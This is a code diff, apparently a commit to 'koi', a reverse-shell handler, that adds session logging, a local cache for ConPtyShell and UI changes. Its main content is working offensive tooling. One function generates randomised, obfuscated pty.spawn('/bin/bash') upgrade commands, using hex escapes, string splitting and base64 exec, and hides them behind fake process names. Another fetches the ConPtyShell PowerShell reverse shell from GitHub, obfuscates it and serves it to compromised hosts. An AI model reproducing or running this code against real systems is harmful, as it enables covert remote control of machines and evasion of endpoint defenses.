|
+
"""__import__("\\x70\\x74\\x79").spawn("\\x2f\\x62\\x69\\x6e\\x2f\\x62\\x61\\x73\\x68")"""
|
|
105
|
+
return f'__import__("{_hex("pty")}").spawn("{_hex("/bin/bash")}")'
|
|
106
|
+
|
|
107
|
+
|
|
108
|
+
def _py_getattr_concat() -> str:
|
|
109
|
+
"""getattr(__import__("p"+"ty"), "sp"+"awn")("/bin/bash")"""
|
|
110
|
+
i = random.randint(1, 2)
|
|
111
|
+
j = random.randint(1, 4)
|
|
112
|
+
pty_split = f'"{"pty"[:i]}"+"{"pty"[i:]}"'
|
|
113
|
+
spawn_split = f'"{"spawn"[:j]}"+"{"spawn"[j:]}"'
|
|
114
|
+
return f'getattr(__import__({pty_split}),{spawn_split})("/bin/bash")'
|
|
115
|
+
|
|
116
|
+
|
|
117
|
+
def _py_b64_exec() -> str:
|
|
118
|
+
"""exec(__import__("base64").b64decode(b"...").decode())"""
|
|
119
|
+
payload = 'import pty; pty.spawn("/bin/bash")'
|
|
120
|
+
encoded = base64.b64encode(payload.encode()).decode()
|
|
121
|
+
return f'exec(__import__("base64").b64decode(b"{encoded}").decode())'
|
|
122
|
+
|
|
123
|
+
|
|
124
|
+
def obfuscated_upgrade_spawn() -> str:
|
|
125
|
+
"""Return a randomised obfuscated upgrade command for Linux PTY spawn."""
|
|
126
|
+
technique = random.choice([_py_hex_import, _py_getattr_concat, _py_b64_exec])
|
|
127
|
+
code = technique()
|
|
128
|
+
name = random.choice(_FAKE_PROC_NAMES)
|
|
129
|
+
py = (
|
|
130
|
+
f"exec -a '{name}' python3 -c '{code}' 2>/dev/null || "
|
|
131
|
+
f"exec -a '{name}' python -c '{code}' 2>/dev/null"
|
|
132
|
+
)
|
|
133
|
+
script = "$'" + "".join(f"\\x{ord(c):02x}" for c in "script") + "'"
|
|
134
|
+
fallback = f"{script} -qc /bin/bash /dev/null"
|
|
135
|
+
return f"{py} || {fallback}\n"
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
from __future__ import annotations
|
|
2
|
+
|
|
3
|
+
from pathlib import Path
|
|
4
|
+
|
|
5
|
+
_CACHE_DIR = Path.home() / ".koi" / "cache"
|
|
6
|
+
_CONPTY_FILENAME = "Invoke-ConPtyShell.ps1"
|
|
7
|
+
|
|
8
|
+
|
|
9
|
+
def cache_dir() -> Path:
|
|
10
|
+
_CACHE_DIR.mkdir(parents=True, exist_ok=True)
|
|
11
|
+
return _CACHE_DIR
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
def conpty_cache_path() -> Path:
|
|
15
|
+
return cache_dir() / _CONPTY_FILENAME
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
def save_conptyshell(data: bytes) -> None:
|
|
19
|
+
"""Persist a fresh copy of ConPtyShell to the local cache."""
|
|
20
|
+
conpty_cache_path().write_bytes(data)
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
def load_conptyshell() -> bytes | None:
|
|
24
|
+
"""Return the cached ConPtyShell bytes, or None if no cache exists."""
|
|
25
|
+
p = conpty_cache_path()
|
|
26
|
+
if p.exists():
|
|
27
|
+
return p.read_bytes()
|
|
28
|
+
return None
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
def cache_exists() -> bool:
|
|
32
|
+
return conpty_cache_path().exists()
|
|
@@ -12,7 +12,7 @@ from koi.utils.ui import (
|
|
|
12
12
|
COMMANDS = [
|
|
13
13
|
"ls", "go", "upgrade", "kill", "setshell", "help", "exit",
|
|
14
14
|
"quit", "interact", "payload", "obfuscator", "run", "modules",
|
|
15
|
-
"reload", "start", "stop",
|
|
15
|
+
"reload", "start", "stop", "logs",
|
|
16
16
|
]
|
|
17
17
|
|
|
18
18
|
_OS_TYPES = ["linux", "windows_ps", "windows_cmd"]
|
|
@@ -70,6 +70,7 @@ def print_help() -> None:
|
|
|
70
70
|
f"{_p('run')} {_b('<module>')} {_b('<id>')} {_b('[args…]')}": "Run a module against a session",
|
|
71
71
|
f"{_p('setshell')} {_b('<id>')} {_b('<os_type>')}": "Manually set the OS type of a session",
|
|
72
72
|
f"{_p('stop')}": "Pause the listener — refuse new connections",
|
|
73
|
+
f"{_p('logs')}": "List recorded session logs",
|
|
73
74
|
f"{_p('start')}": "Resume the listener — accept new connections again",
|
|
74
75
|
f"{_p('help')}": "Show this message",
|
|
75
76
|
f"{_p('exit')}": "Shut down the listener",
|
|
@@ -14,13 +14,13 @@ CTRL_Z = b"\x1a"
|
|
|
14
14
|
CTRL_C = b"\x03"
|
|
15
15
|
|
|
16
16
|
|
|
17
|
-
def interact(sess: Session) -> str:
|
|
17
|
+
def interact(sess: Session, logger=None) -> str:
|
|
18
18
|
if sess.os_type in ("windows_cmd", "windows_ps") and not sess.upgraded:
|
|
19
|
-
return _interact_windows(sess)
|
|
20
|
-
return _interact_raw(sess)
|
|
19
|
+
return _interact_windows(sess, logger)
|
|
20
|
+
return _interact_raw(sess, logger)
|
|
21
21
|
|
|
22
22
|
|
|
23
|
-
def _interact_raw(sess: Session) -> str:
|
|
23
|
+
def _interact_raw(sess: Session, logger=None) -> str:
|
|
24
24
|
stop_event = threading.Event()
|
|
25
25
|
result = ["backgrounded"]
|
|
26
26
|
|
|
@@ -36,6 +36,8 @@ def _interact_raw(sess: Session) -> str:
|
|
|
36
36
|
result[0] = "disconnected"
|
|
37
37
|
stop_event.set()
|
|
38
38
|
return
|
|
39
|
+
if logger:
|
|
40
|
+
logger.log_output(data)
|
|
39
41
|
sys.stdout.buffer.write(data)
|
|
40
42
|
sys.stdout.buffer.flush()
|
|
41
43
|
except OSError:
|
|
@@ -57,11 +59,15 @@ def _interact_raw(sess: Session) -> str:
|
|
|
57
59
|
if CTRL_Z in key:
|
|
58
60
|
before = key[: key.index(CTRL_Z)]
|
|
59
61
|
if before:
|
|
62
|
+
if logger:
|
|
63
|
+
logger.log_input(before)
|
|
60
64
|
sess.send(before)
|
|
61
65
|
result[0] = "backgrounded"
|
|
62
66
|
stop_event.set()
|
|
63
67
|
break
|
|
64
68
|
|
|
69
|
+
if logger:
|
|
70
|
+
logger.log_input(key)
|
|
65
71
|
if not sess.send(key):
|
|
66
72
|
result[0] = "disconnected"
|
|
67
73
|
stop_event.set()
|
|
@@ -74,7 +80,7 @@ def _interact_raw(sess: Session) -> str:
|
|
|
74
80
|
return result[0]
|
|
75
81
|
|
|
76
82
|
|
|
77
|
-
def _interact_windows(sess: Session) -> str:
|
|
83
|
+
def _interact_windows(sess: Session, logger=None) -> str:
|
|
78
84
|
enc = sess.encoding
|
|
79
85
|
stop_event = threading.Event()
|
|
80
86
|
result = ["backgrounded"]
|
|
@@ -93,6 +99,8 @@ def _interact_windows(sess: Session) -> str:
|
|
|
93
99
|
stop_event.set()
|
|
94
100
|
return
|
|
95
101
|
buf += data
|
|
102
|
+
if logger:
|
|
103
|
+
logger.log_output(data)
|
|
96
104
|
text = buf.decode(enc, errors="replace")
|
|
97
105
|
sys.stdout.write(text)
|
|
98
106
|
sys.stdout.flush()
|
|
@@ -150,6 +158,8 @@ def _interact_windows(sess: Session) -> str:
|
|
|
150
158
|
break
|
|
151
159
|
|
|
152
160
|
line = (cmd + "\r\n").encode(enc, errors="replace")
|
|
161
|
+
if logger:
|
|
162
|
+
logger.log_input(line)
|
|
153
163
|
if not sess.send(line):
|
|
154
164
|
result[0] = "disconnected"
|
|
155
165
|
break
|
|
@@ -0,0 +1,206 @@
|
|
|
1
|
+
from __future__ import annotations
|
|
2
|
+
|
|
3
|
+
import base64
|
|
4
|
+
import json
|
|
5
|
+
import re
|
|
6
|
+
import sys
|
|
7
|
+
import time
|
|
8
|
+
from datetime import datetime
|
|
9
|
+
from pathlib import Path
|
|
10
|
+
from typing import TYPE_CHECKING
|
|
11
|
+
|
|
12
|
+
if TYPE_CHECKING:
|
|
13
|
+
from koi.session import Session
|
|
14
|
+
|
|
15
|
+
_LOG_DIR = Path.home() / ".koi" / "logs"
|
|
16
|
+
|
|
17
|
+
_ANSI = re.compile(r"\x1b(?:\][^\x07]*\x07|\[[0-?]*[ -/]*[@-~]|[@-Z\\-_])")
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
def log_dir() -> Path:
|
|
21
|
+
_LOG_DIR.mkdir(parents=True, exist_ok=True)
|
|
22
|
+
return _LOG_DIR
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
class SessionLogger:
|
|
26
|
+
def __init__(self, path: Path):
|
|
27
|
+
self.path = path
|
|
28
|
+
self._f = open(path, "a", buffering=1)
|
|
29
|
+
|
|
30
|
+
def _write(self, entry: dict) -> None:
|
|
31
|
+
self._f.write(json.dumps(entry, ensure_ascii=False) + "\n")
|
|
32
|
+
|
|
33
|
+
def log_meta(self, sess: "Session") -> None:
|
|
34
|
+
self._write({
|
|
35
|
+
"ts": time.time(),
|
|
36
|
+
"type": "meta",
|
|
37
|
+
"id": sess.id,
|
|
38
|
+
"ip": sess.addr[0],
|
|
39
|
+
"port": sess.addr[1],
|
|
40
|
+
"os": sess.os_type,
|
|
41
|
+
"upgraded": sess.upgraded,
|
|
42
|
+
})
|
|
43
|
+
|
|
44
|
+
def log_input(self, data: bytes) -> None:
|
|
45
|
+
if data:
|
|
46
|
+
self._write({
|
|
47
|
+
"ts": time.time(),
|
|
48
|
+
"type": "input",
|
|
49
|
+
"data": base64.b64encode(data).decode(),
|
|
50
|
+
})
|
|
51
|
+
|
|
52
|
+
def log_output(self, data: bytes) -> None:
|
|
53
|
+
if data:
|
|
54
|
+
self._write({
|
|
55
|
+
"ts": time.time(),
|
|
56
|
+
"type": "output",
|
|
57
|
+
"data": base64.b64encode(data).decode(),
|
|
58
|
+
})
|
|
59
|
+
|
|
60
|
+
def log_event(self, msg: str) -> None:
|
|
61
|
+
self._write({"ts": time.time(), "type": "event", "msg": msg})
|
|
62
|
+
|
|
63
|
+
def close(self) -> None:
|
|
64
|
+
try:
|
|
65
|
+
self._f.close()
|
|
66
|
+
except OSError:
|
|
67
|
+
pass
|
|
68
|
+
|
|
69
|
+
|
|
70
|
+
def start_logger(sess: "Session") -> SessionLogger:
|
|
71
|
+
d = log_dir()
|
|
72
|
+
stamp = datetime.now().strftime("%Y%m%d-%H%M%S")
|
|
73
|
+
name = f"{stamp}-{sess.id}-{sess.addr[0]}.log"
|
|
74
|
+
logger = SessionLogger(d / name)
|
|
75
|
+
logger.log_meta(sess)
|
|
76
|
+
return logger
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
_RST = "\033[0m"
|
|
80
|
+
_DIM = "\033[2m"
|
|
81
|
+
_BOLD = "\033[1m"
|
|
82
|
+
_ORANGE = "\033[38;2;248;101;70m"
|
|
83
|
+
_WHITE = "\033[38;2;255;255;255m"
|
|
84
|
+
_GREY = "\033[38;2;169;169;169m"
|
|
85
|
+
_CORAL = "\033[38;2;235;111;92m"
|
|
86
|
+
|
|
87
|
+
|
|
88
|
+
def _clean(raw: bytes, encoding: str) -> str:
|
|
89
|
+
text = raw.decode(encoding, errors="replace")
|
|
90
|
+
text = _ANSI.sub("", text)
|
|
91
|
+
text = text.replace("\r\n", "\n").replace("\r", "\n")
|
|
92
|
+
return text
|
|
93
|
+
|
|
94
|
+
|
|
95
|
+
def _printable(text: str) -> bool:
|
|
96
|
+
return any(c.isprintable() and c != " " for c in text)
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
def list_logs() -> list[Path]:
|
|
100
|
+
d = log_dir()
|
|
101
|
+
return sorted(d.glob("*.log"), reverse=True)
|
|
102
|
+
|
|
103
|
+
|
|
104
|
+
def resolve_log(name: str) -> Path | None:
|
|
105
|
+
p = Path(name)
|
|
106
|
+
if p.exists():
|
|
107
|
+
return p
|
|
108
|
+
matches = sorted(log_dir().glob(f"*{p.name}*"), reverse=True)
|
|
109
|
+
return matches[0] if matches else None
|
|
110
|
+
|
|
111
|
+
def clear_log(path: Path) -> None:
|
|
112
|
+
try:
|
|
113
|
+
path.unlink()
|
|
114
|
+
print(f"{_CORAL}Log cleared: {path.name}{_RST}")
|
|
115
|
+
except OSError as exc:
|
|
116
|
+
print(f"{_CORAL}Failed to clear log {path.name}: {exc}{_RST}", file=sys.stderr)
|
|
117
|
+
|
|
118
|
+
|
|
119
|
+
_PROMPT_SUFFIXES = ("$", "#", "❯", ">", "% ")
|
|
120
|
+
_CTRL = re.compile(r"[\x00-\x08\x0b-\x0c\x0e-\x1f\x7f]")
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
def _is_prompt(line: str) -> bool:
|
|
124
|
+
s = line.strip()
|
|
125
|
+
return any(s.endswith(sfx) for sfx in _PROMPT_SUFFIXES)
|
|
126
|
+
|
|
127
|
+
|
|
128
|
+
def review(name: str) -> None:
|
|
129
|
+
path = resolve_log(name)
|
|
130
|
+
if path is None:
|
|
131
|
+
print(f"Log not found: {name}", file=sys.stderr)
|
|
132
|
+
sys.exit(1)
|
|
133
|
+
|
|
134
|
+
encoding = "utf-8"
|
|
135
|
+
input_buf = b""
|
|
136
|
+
recent_cmds: set[str] = set()
|
|
137
|
+
|
|
138
|
+
print()
|
|
139
|
+
with open(path) as f:
|
|
140
|
+
for raw_line in f:
|
|
141
|
+
raw_line = raw_line.strip()
|
|
142
|
+
if not raw_line:
|
|
143
|
+
continue
|
|
144
|
+
try:
|
|
145
|
+
entry = json.loads(raw_line)
|
|
146
|
+
except json.JSONDecodeError:
|
|
147
|
+
continue
|
|
148
|
+
|
|
149
|
+
ts = datetime.fromtimestamp(entry["ts"]).strftime("%H:%M:%S")
|
|
150
|
+
kind = entry.get("type")
|
|
151
|
+
|
|
152
|
+
if kind == "meta":
|
|
153
|
+
encoding = "utf-8" if entry.get("os") == "linux" else "cp1252"
|
|
154
|
+
os_label = entry.get("os") or "?"
|
|
155
|
+
print(f"{_ORANGE}{'─' * 64}{_RST}")
|
|
156
|
+
print(
|
|
157
|
+
f" {_BOLD}{_WHITE}Session #{entry['id']}{_RST}"
|
|
158
|
+
f" {_ORANGE}{entry['ip']}:{entry['port']}{_RST}"
|
|
159
|
+
f" {_GREY}[{os_label}]{_RST}"
|
|
160
|
+
)
|
|
161
|
+
print(f"{_ORANGE}{'─' * 64}{_RST}\n")
|
|
162
|
+
|
|
163
|
+
elif kind == "input":
|
|
164
|
+
input_buf += base64.b64decode(entry["data"])
|
|
165
|
+
while b"\n" in input_buf or b"\r" in input_buf:
|
|
166
|
+
for sep in (b"\r\n", b"\n", b"\r"):
|
|
167
|
+
if sep in input_buf:
|
|
168
|
+
cmd_bytes, input_buf = input_buf.split(sep, 1)
|
|
169
|
+
break
|
|
170
|
+
cmd = _CTRL.sub("", _clean(cmd_bytes, encoding)).strip()
|
|
171
|
+
if cmd and _printable(cmd):
|
|
172
|
+
print(f" {_DIM}{ts}{_RST} {_ORANGE}❯{_RST} {_WHITE}{cmd}{_RST}")
|
|
173
|
+
recent_cmds.add(cmd.lower())
|
|
174
|
+
|
|
175
|
+
elif kind == "output":
|
|
176
|
+
text = _clean(base64.b64decode(entry["data"]), encoding)
|
|
177
|
+
for line in text.splitlines():
|
|
178
|
+
stripped = _CTRL.sub("", line).strip()
|
|
179
|
+
if not stripped or not _printable(stripped):
|
|
180
|
+
continue
|
|
181
|
+
if stripped.lower() in recent_cmds:
|
|
182
|
+
continue
|
|
183
|
+
if _is_prompt(stripped):
|
|
184
|
+
continue
|
|
185
|
+
print(f" {_DIM}{ts}{_RST} {_GREY}{stripped}{_RST}")
|
|
186
|
+
recent_cmds.clear()
|
|
187
|
+
|
|
188
|
+
elif kind == "event":
|
|
189
|
+
input_buf = b""
|
|
190
|
+
recent_cmds.clear()
|
|
191
|
+
print(f"\n {_DIM}── {entry['msg']} ──{_RST}\n")
|
|
192
|
+
|
|
193
|
+
print()
|
|
194
|
+
|
|
195
|
+
|
|
196
|
+
def print_log_list() -> None:
|
|
197
|
+
logs = list_logs()
|
|
198
|
+
if not logs:
|
|
199
|
+
print(f" {_GREY}No logs found in {log_dir()}{_RST}")
|
|
200
|
+
return
|
|
201
|
+
print()
|
|
202
|
+
for p in logs:
|
|
203
|
+
size = p.stat().st_size
|
|
204
|
+
size_str = f"{size // 1024}K" if size >= 1024 else f"{size}B"
|
|
205
|
+
print(f" {_ORANGE}{p.name}{_RST} {_GREY}{size_str}{_RST}")
|
|
206
|
+
print()
|
|
@@ -7,6 +7,7 @@ import urllib.request
|
|
|
7
7
|
from typing import Callable, Dict, Optional
|
|
8
8
|
|
|
9
9
|
from koi.session import Session
|
|
10
|
+
from koi.utils.cache import load_conptyshell, save_conptyshell, cache_exists, conpty_cache_path
|
|
10
11
|
from koi.utils.ps_obfuscate import obfuscate_conptyshell
|
|
11
12
|
from koi.utils.tcp import spawn_http_server
|
|
12
13
|
from koi.utils.ui import Spinner, notify, _b, _p
|
|
@@ -17,6 +18,31 @@ _CONPTYSHELL_URL = (
|
|
|
17
18
|
)
|
|
18
19
|
|
|
19
20
|
|
|
21
|
+
def _fetch_conptyshell() -> tuple[bytes, str]:
|
|
22
|
+
"""
|
|
23
|
+
Fetch ConPtyShell, with a local cache as fallback.
|
|
24
|
+
|
|
25
|
+
Strategy:
|
|
26
|
+
1. Try to download the latest version from GitHub.
|
|
27
|
+
On success → update the cache and return the fresh bytes.
|
|
28
|
+
2. If the network request fails and a cached copy exists → use it.
|
|
29
|
+
3. If neither works → raise the original network exception.
|
|
30
|
+
|
|
31
|
+
Returns:
|
|
32
|
+
(ps1_data, source_label) where source_label is "remote" or "cache".
|
|
33
|
+
"""
|
|
34
|
+
try:
|
|
35
|
+
with urllib.request.urlopen(_CONPTYSHELL_URL, timeout=15) as resp:
|
|
36
|
+
ps1_data = resp.read()
|
|
37
|
+
save_conptyshell(ps1_data) # keep the cache fresh
|
|
38
|
+
return ps1_data, "remote"
|
|
39
|
+
except Exception as exc:
|
|
40
|
+
cached = load_conptyshell()
|
|
41
|
+
if cached is not None:
|
|
42
|
+
return cached, "cache"
|
|
43
|
+
raise exc # no cache either — bubble up
|
|
44
|
+
|
|
45
|
+
|
|
20
46
|
def upgrade_windows_conptyshell(
|
|
21
47
|
sess: Session,
|
|
22
48
|
sessions: Dict[int, Session],
|
|
@@ -37,12 +63,16 @@ def upgrade_windows_conptyshell(
|
|
|
37
63
|
|
|
38
64
|
with Spinner("Fetching ConPtyShell…"):
|
|
39
65
|
try:
|
|
40
|
-
|
|
41
|
-
ps1_data = resp.read()
|
|
66
|
+
ps1_data, source = _fetch_conptyshell()
|
|
42
67
|
except Exception as exc:
|
|
43
68
|
notify('error', f"Failed to fetch ConPtyShell: {exc}")
|
|
44
69
|
return
|
|
45
70
|
|
|
71
|
+
if source == "cache":
|
|
72
|
+
notify('warning', f"Network unavailable — using cached ConPtyShell ({conpty_cache_path()})")
|
|
73
|
+
else:
|
|
74
|
+
notify('info', "ConPtyShell fetched from remote (cache updated)")
|
|
75
|
+
|
|
46
76
|
ps1_data, conpty_fn = obfuscate_conptyshell(ps1_data)
|
|
47
77
|
http_port, http_thread = spawn_http_server(ps1_data, timeout=60.0)
|
|
48
78
|
notify('info', f"Serving ConPtyShell on port {_b(http_port)}")
|
|
@@ -98,4 +128,4 @@ def _wait_for_new_session(
|
|
|
98
128
|
with conpty_lock:
|
|
99
129
|
if expected_ip in conpty_staging:
|
|
100
130
|
return conpty_staging.pop(expected_ip)
|
|
101
|
-
return None
|
|
131
|
+
return None
|
|
@@ -3,6 +3,7 @@ import shutil
|
|
|
3
3
|
import sys
|
|
4
4
|
import threading
|
|
5
5
|
import time
|
|
6
|
+
import importlib.metadata
|
|
6
7
|
from random import choice
|
|
7
8
|
|
|
8
9
|
_ANSI = re.compile(r"\033\[[^m]*m")
|
|
@@ -17,6 +18,8 @@ RST = "\033[0m"
|
|
|
17
18
|
DIM = "\033[2m"
|
|
18
19
|
BOLD = "\033[1m"
|
|
19
20
|
|
|
21
|
+
__version__ = importlib.metadata.version("koi-handler")
|
|
22
|
+
|
|
20
23
|
def _b(t): return f"{BOLD}{t}{RST}"
|
|
21
24
|
def _d(t): return f"{DIM}{t}{RST}"
|
|
22
25
|
def _r(t): return colored_text(t, CORAL)
|
|
@@ -33,7 +36,11 @@ MOTD = ["The serene shell handler",
|
|
|
33
36
|
"流れに逆らう鯉のように",
|
|
34
37
|
"¯\(º_o)/¯",
|
|
35
38
|
"Do not download and run random modules...",
|
|
36
|
-
"AD is not that scary, I promise!"
|
|
39
|
+
"AD is not that scary, I promise!",
|
|
40
|
+
"Defender doesn't have sunglasses because he's cool...",
|
|
41
|
+
"don't forget to star the repo <3",
|
|
42
|
+
"Use koireview to see your shells history",
|
|
43
|
+
"You can use \"koifuscator\" to directly use the obfuscator"
|
|
37
44
|
]
|
|
38
45
|
|
|
39
46
|
def whole_line(char=" "):
|
|
@@ -84,10 +91,10 @@ def display_art(small: bool = False):
|
|
|
84
91
|
⠈⢮{color_signal(CORAL)}⣺⢸⢸⢸⢸⢸⢐{color_signal(WHITE)}⢕⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(UMBER)}⡂⠌⡐⢌⠢⠡⡑⡑⡑{color_signal(WHITE)}⢕⢕⢕⠵⢽⢽⡺⣵⣣⡳⡱⡱⠡⠡⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(PUMPKIN)}⠀ 888`88b. {color_signal(WHITE)} 888 888 888 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
85
92
|
⠀⢵⢯{color_signal(CORAL)}⡺⡸⡸⡸⡸⡸⡐{color_signal(WHITE)}⡐⡐⡐⢄⠀⠀⠀⠀⠀{color_signal(UMBER)}⢑⢈⠢⠡⡑⡐⡐{color_signal(WHITE)}⢌⢂⠢⡑⡑⢕⠳⡱⡱⣱⢹⢜⠌⠌⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(PUMPKIN)}⠀ 888 `88b. {color_signal(WHITE)} {color_signal(SILVER)}`88b {color_signal(WHITE)} d88' 888 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
86
93
|
⠀⢯⣻⡪⡪⠪⡪⡪⡪⡪⡂⡪⡨⢢⠂⠀⠀⠀⠀⠀⠀⠅⡑⡐⡐⢌⢆⠢⡑⡐⢌⠢⡑⠌⢎⢎⢇⢗⢵⡱⡠⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(PUMPKIN)}⠀⠀o888o o888o {color_signal(WHITE)} {color_signal(SILVER)}`Y8bo{color_signal(WHITE)}od8P' o888o ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
87
|
-
⠀⢹⡾⣝⠆⠅⡂⠌⢎⢎⢎⢪⢈⠪⠀⠀⠀⠀⠀⠀⠀⠀⠐⠐⠈⠆⢇⢕⠐⢌⠢⠑⠌⢌⢆⢂⠊⡎⡎⡮⣺{color_signal(PUMPKIN)}⣦⢀⠀⠀⠀{color_signal(WHITE)}
|
|
94
|
+
⠀⢹⡾⣝⠆⠅⡂⠌⢎⢎⢎⢪⢈⠪⠀⠀⠀⠀⠀⠀⠀⠀⠐⠐⠈⠆⢇⢕⠐⢌⠢⠑⠌⢌⢆⢂⠊⡎⡎⡮⣺{color_signal(PUMPKIN)}⣦⢀⠀⠀⠀{color_signal(WHITE)}
|
|
88
95
|
⠀{color_signal(UMBER)}⠂⢿⡸⣣{color_signal(WHITE)}⡁⡢⠡⠡⡑⠌⢌⢪⢪⠠⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠠⠑⠕⢄⢅⢅⢑⢐⠐⠄⢕⢜⢜{color_signal(PUMPKIN)}⢼⢿⣾⣳⣔⢀⠀⠀⠀{color_signal(WHITE)}⠀⠀{choice(MOTD)}
|
|
89
96
|
⠀{color_signal(UMBER)}⠈⠸⡽⣿⣽⣮{color_signal(WHITE)}⡪⡢⡨⡨⡢⡣⡣⠣⠣⡪⡐⠄⢄⠀⠀⠀⠀⠀⠀⠀⠀⠁⠂⡑⡑⡐⠄⠅⢅⢑⠱⡱⡣{color_signal(PUMPKIN)}⡫⣺⢻⡚⣆⠀⠀⠀⠀⠀⠀⠀{color_signal(WHITE)}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
90
|
-
⠀⠀⠀{color_signal(UMBER)}⠹⡽⣾⣷⡻{color_signal(WHITE)}⡸⡸⡸⡸⡨⠨⡈⡂⡂⠪⡘⢜⢜⢔⢐⠐⠌⠌⠀⠀⠀⠀⢂⠢⠨⠨⡈⡂⠢⡑⢜⢯⣎⢎{color_signal(PUMPKIN)}⢎⢎⢎⢎⠄⠀⠀⠀{color_signal(WHITE)}
|
|
97
|
+
⠀⠀⠀{color_signal(UMBER)}⠹⡽⣾⣷⡻{color_signal(WHITE)}⡸⡸⡸⡸⡨⠨⡈⡂⡂⠪⡘⢜⢜⢔⢐⠐⠌⠌⠀⠀⠀⠀⢂⠢⠨⠨⡈⡂⠢⡑⢜⢯⣎⢎{color_signal(PUMPKIN)}⢎⢎⢎⢎⠄⠀⠀⠀{color_signal(WHITE)}⠀ V.{__version__}
|
|
91
98
|
⠀⠀⠀⠀{color_signal(UMBER)}⠘⢽⢞⢮{color_signal(WHITE)}⢪⢪⢪⠪⡈⡂{color_signal(UMBER)}⡂⠢⡈⠢⠨{color_signal(WHITE)}⡘⢜⢜⠬⡨⡨⡐⡀⠀⠀⠀⠠⠡⠡⢁⠂⠌⠢⡈⡂⠣⡫⣷⠱⡱⡱⡱⡱⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
|
92
99
|
⠀⠀⠀⠀⠀⠀⠣⡣⡣⡣⡣⡣⡂⡢{color_signal(UMBER)}⡈⠢⠨⡈⠢⡈⠢{color_signal(WHITE)}⡑⢕⢕⢜⢜⢌⢆⢄⠀⠀⠡⢁⠂⠌⠌⠀⠂⢌⠢⡑⢝⢵⢨⠪⡪⡪⡪⡀ ⠀ By @b3rt1ng
|
|
93
100
|
⠀⠀⠀⠀⠀⠀⠀⠀⠑⠕⡕⡕⣕⢕⢜⢌⢆⢎⢆⢪⢢⢪⢢⢣⢣⢣⢣⠣⠣⠡⡡⠀⠂⠌⠈⠀⠀⠀⠠⠑⠌⢌⢪⢣⢣⠡⢣⢣⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(SILVER)}⠀⠀⠀⠀⠀⢀⢐⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀{color_signal(WHITE)}
|
|
@@ -108,9 +115,9 @@ def display_art(small: bool = False):
|
|
|
108
115
|
⠀⠀{color_signal(SILVER)}⢠{color_signal(WHITE)}⢶{color_signal(PUMPKIN)}⣿⠿{color_signal(SILVER)}⠃⠀⣀⡁⠀{color_signal(PUMPKIN)}⣿{color_signal(CORAL)}⣿{color_signal(WHITE)}⣼{color_signal(CORAL)}⣿{color_signal(WHITE)}⣿⣏{color_signal(SILVER)}⡑⡄⠀{RST}{color_signal(UMBER)}██{RST} ██ ██████ {color_signal(PUMPKIN)}██
|
|
109
116
|
⠀{color_signal(SILVER)}⢰⣁⡐⠰⠆⣰{color_signal(WHITE)}⣶{color_signal(PUMPKIN)}⣿{color_signal(WHITE)}⣿⡿{color_signal(SILVER)}⠛{color_signal(WHITE)}⠻{color_signal(SILVER)}⡋⠀⠉⠉⠁⠀⠀{RST}
|
|
110
117
|
⠀⠀{color_signal(SILVER)}⠈{color_signal(WHITE)}⠏{color_signal(SILVER)}⠏⠉⠉⠉⠈⠛⠤⣀⣠{color_signal(WHITE)}⡽⠀⠀⠀⠀⠀⠀{RST}
|
|
111
|
-
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀By @b3rt1ng
|
|
118
|
+
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀By @b3rt1ng / Version {__version__}{RST}
|
|
112
119
|
"""
|
|
113
|
-
if terminal_width <
|
|
120
|
+
if terminal_width < 110 or small:
|
|
114
121
|
print(small_art)
|
|
115
122
|
else:
|
|
116
123
|
print(art)
|
|
@@ -17,9 +17,11 @@ src/koi/modules/sysinfo.py
|
|
|
17
17
|
src/koi/modules/upload.py
|
|
18
18
|
src/koi/utils/__init__.py
|
|
19
19
|
src/koi/utils/bash_obfuscate.py
|
|
20
|
+
src/koi/utils/cache.py
|
|
20
21
|
src/koi/utils/cli.py
|
|
21
22
|
src/koi/utils/detect.py
|
|
22
23
|
src/koi/utils/interact.py
|
|
24
|
+
src/koi/utils/logger.py
|
|
23
25
|
src/koi/utils/models.py
|
|
24
26
|
src/koi/utils/obfuscate_ui.py
|
|
25
27
|
src/koi/utils/payloads.py
|
|
@@ -1,58 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env python3
|
|
2
|
-
|
|
3
|
-
from __future__ import annotations
|
|
4
|
-
|
|
5
|
-
import argparse
|
|
6
|
-
import signal
|
|
7
|
-
import sys
|
|
8
|
-
|
|
9
|
-
from koi.listener import Listener
|
|
10
|
-
from koi.utils.ui import notify, _b, _p, _c, _gr, _y, _bl, display_art, print_payloads, print_report_box
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
class _ArtHelpAction(argparse.Action):
|
|
15
|
-
def __init__(self, option_strings, dest=argparse.SUPPRESS, default=argparse.SUPPRESS, help=None):
|
|
16
|
-
